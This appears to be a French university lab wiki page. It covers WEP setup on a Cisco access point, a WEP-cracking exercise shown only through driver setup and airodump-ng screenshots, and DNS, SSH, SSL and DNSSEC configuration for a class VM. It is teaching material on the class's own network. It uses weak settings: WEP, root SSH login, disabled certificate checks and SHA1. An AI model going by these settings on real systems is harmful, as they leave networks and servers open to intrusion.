=== Configuration d'un point d'accès===

Commencer par se mettre en mode configuration:
ap>enable
ap#configure terminal
La configuration pour un point d'accès pour une sécurisation WEP est donc:
ap(config)#dot11 ssid tomate
ap(config-ssid)#authentication open
ap(config-ssid)#vlan 8
ap(config-ssid)#mbssid guest-mode
ap(config-ssid)#exit
ap(config)#Interface dot11radio0
ap(config)#ssid tomate
ap(config-ssid)#no shutdown
ap(config-ssid)#Encryption vlan 8 mode wep mandatory
ap(config-ssid)#Encryption vlan 8 key 1 size 128bit 05050505050505050505050505
ap(config-ssid)#End
Écrire les modifications:
ap#write memory
Configurer le sous interface pour Dot11 radio 0 et Ethernet.
ap#configure terminal
ap(config)#interface Dot11Radio0.8
ap(config-subif)#encapsulation dot1Q 8
ap(config-subif)#bridge-group 8
ap(config-subif)#interface GigabitEthernet0.8
ap(config-subif)#encapsulation dot1Q 8
ap(config-subif)#bridge-group 8
ap(config-subif)#end
ap#write memory

=== Craquage de clé WEP ===
==== Établissement de connexion ====
Premièrement il faut s'assurer de l'installation du driver de la clef Wi-fi (présence d'une interface Wi-fi en tapant ''iwconfig''). Dans le cas contraire, il faut installer le driver en suivant la manipulation suivante (l'exemple est pour une clef Netgear):
*Afficher les dispositif connecté à l'ordinateur par USB:
lsusb
*On récupère les informations représentant la clef, ici '''Intersil ISL3887'''.
*Suivant le modèle de puce à disposition, il faut télécharger le driver et l'installer. Dans notre cas nous avons suivi le site suivant [https://wiki.debian.org/fr/prism54]
<pre>
wget https://daemonizer.de/prism54/prism54-fw/fw-usb/2.13.25.0.lm87.arm --no-check-certificate
mv 2.13.25.0.lm87.arm /lib/firmware/isl3887usb
modprobe -r p54usb ; modprobe p54usb
</pre>
*On remarque maintenant que la LED devient bleu et qu'une interface Wi-fi apparaît avec ''iwconfig''.

Une fois le driver installé, on configure le fichier '''/etc/network/interfaces''' pour attribuer une adresse IP static à la machine et pouvoir se connecter sur un des réseaux Wi-fi disponible (ici le réseau banane):
<pre>
auto <nom de l'interface (wlx000fb592236a)>
iface <nom de l'interface> inet static
address <adresse IP qu'on donne à ce réseau (10.2.0.100)>
netmask <masque (255.255.0.0)>
wireless-essid <essid (banane)>
wireless-key <mot de passe Wi-fi (à regarder dans le doc de la promo)>
</pre>
Pour terminer il faut démarrer l'interface Wi-fi pour prendre en compte la nouvelle configuration:
<pre>
ifdown <nom de l'interface>
ifup <nom de l'interface>
</pre>
La connexion doit maintenant être établie.

==== Craquage du mot de passe ====

[[Fichier:groseilleAirodump-ng.png|600px]]

[[Fichier:GroseilleCrackWEPsuccessfull.png|600px]]

=== Partie commune===

==== Création de la VM ====

Pour suivre le thème de la promo qui porte sur les fruits, nous
avons crée une machine virtuelle sur le serveur cordouan qui se nomme IMA5-GROSEILLE.

Cette VM hébergera un site web sécurisé qui se nommera www.groseille.space.

Pour cela on utilisera les commandes :

* xen-create-image pour créer la machine virtuelle
* lv-create pour que les répertoires /var et /home soient sur les partitions LVM de l'hôte.

Une fois la machine virtuelle crée, on créera la session avec:

xl create IMA5-GROSEILLE.cfg
dans le repertoire /etc/xen

et :

xl console IMA5-GROSEILLE
pour accéder à la VM.

==== Mise en place des services internet ====

===== Serveur dns =====

On installe notre outil de serveur web et de serveur de DNS

apt-get install apache2
apt-get install bind9

On se place dans le dossier : /etc/bind et
on crée le fichier : db.groseille.space pour notre adresse ip (193.48.57.183)

[[Fichier:db.groseille.space.png|600px]]

ps : Correction faite après coup : Ajout de la ligne :

IN NS ns6.gandi.net.

Et on spécifie notre zone dans le fichier named.conf.local

[[Fichier:Groseille_named.conf.local.png|600px]]

On redémarre le service pour appliquer les changements:

service bind9 restart

Et on configure le nom de dns sur le site de gandi.
Dans name servers :

DNS1 : ns.groseille.space
DNS2 : ns6.gandi.net

Dans Glue records:

[[Fichier:Groseille_glue_records.png|1000px]]

===== Serveur ssh =====

Pour installer le service, nous installons tout d'abords le package openssh-server

apt-get install openssh-server

Notre utilisateur est root. Il nous faut donc autoriser l'accès directement en root.

vim /etc/ssh/sshd_config

et tapez ou décommentez:

PermitRootLogin yes

On peut donc maintenant se connecter en ssh à notre machine virtuelle en tapant:

ssh root@www.groseille.space

===== Sécurisation de site web par certificats =====

Après avoir naviguer dans les pages de gandi pour sécuriser notre site web via ssl, gandi nous demande un fichier csr.
On le générera comme ceci:

openssl req -nodes -newkey rsa:2048 -sha1 -keyout groseille.space.key -out groseille.space.csr

On remplira par la suite les informations ci-dessous:

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:Nord
Locality Name (eg, city) []:Villeneuve d'ascq
Organization Name (eg, company) [Internet Widgits Pty Ltd]:groseille.space
Organizational Unit Name (eg, section) []:groseille.space
Common Name (e.g. server FQDN or YOUR name) []:groseille.space

En choisissant la troisième option, gandi nous demandait de mettre un fichier à la racine.

[[Fichier:Gandi_3options.png|300px]]

Nous avons donc téléchargé le fichier et collé dans :

var/www/www.groseille.space/.well-known/pki-validation/DE2B588C8156976B90DB59420093DEDC.txt

Seulement, notre site n'était uniquement accessible en www.groseille.space mais pas sans les www.
Après recherches, nous avons donc rajouter une ligne au fichier db.groseille.space dans bind:

@ IN A 193.48.57.183

Notre demande de certificat est toujours en train d'être exécuté.
Cependant, une fois que tout sera validé par gandi, nous nous occuperons des fichier .crt, .pem, .key associés:

cp groseille.space.key /etc/ssl/private/.
cp GandiStandardSSLCA2.pem /etc/ssl/certs/.
cp groseille.space.crt /etc/ssl/certs/.

c_rehash /etc/ssl/certs

On modifiera /etc/apache2/sites-available/000-groseille.space-ssl.conf

[[Fichier:GroseilleApache.png|600px]]

On écrira dans ports.conf de apache :

Listen 80 443

<IfModule ssl_module>
Listen 443
</IfModule>

On activera le module SSL de Apache et notre site avec ces commandes:

a2enmod ssl
a2ensite 000-groseille.space-ssl.conf
service apache2 reload

===== Sécurisation de site web par dnssec =====

On cherchera à sécuriser notre serveur DNS en signant la zone correspondant à notre nom de domaine.

Dans le fichier : named.conf.options on ajoutera l'option:

dnssec-enable yes;

On créera le répertoire groseille.space.dnssec pour y générer les clefs.

Dedans, on créera aussi la clef asymétrique de la zone pour signer les enregistrements.

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE groseille.space
dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE groseille.space

On les renommera pour avoir :

groseille.space-ksk.key
groseille.space-ksk.private
groseille.space-zsk.key
groseille.space-zsk.private

On modifiera le fichier /etc/bind/db.groseille.space comme ceci :

$include /etc/bind/groseille.space.dnssec/groseille.space-ksk.key
$include /etc/bind/groseille.space.dnssec/groseille.space-zsk.key

Signature des enregistrements de zone (dans /etc/bind/groseille.space.dnssec)

dnssec-signzone -o groseille.space -k groseille.space-ksk ../db.groseille.space groseille.space-zsk

On modifie pour finir le fichier named.conf.local pour avoir db.groseille.space.signed

Après avoir enregistrer le record sur gandi, on attend que gandi prenne en compte les nouvelles configurations.
On pourra vérifier les modifications grâce aux commandes:

grep 217.70.177.40 /var/log/daemon.log
host -t any groseille.space ns6.gandi.net
for f in /var/log/apache2/access.log.*gz ; do zcat $f | grep -i well ; done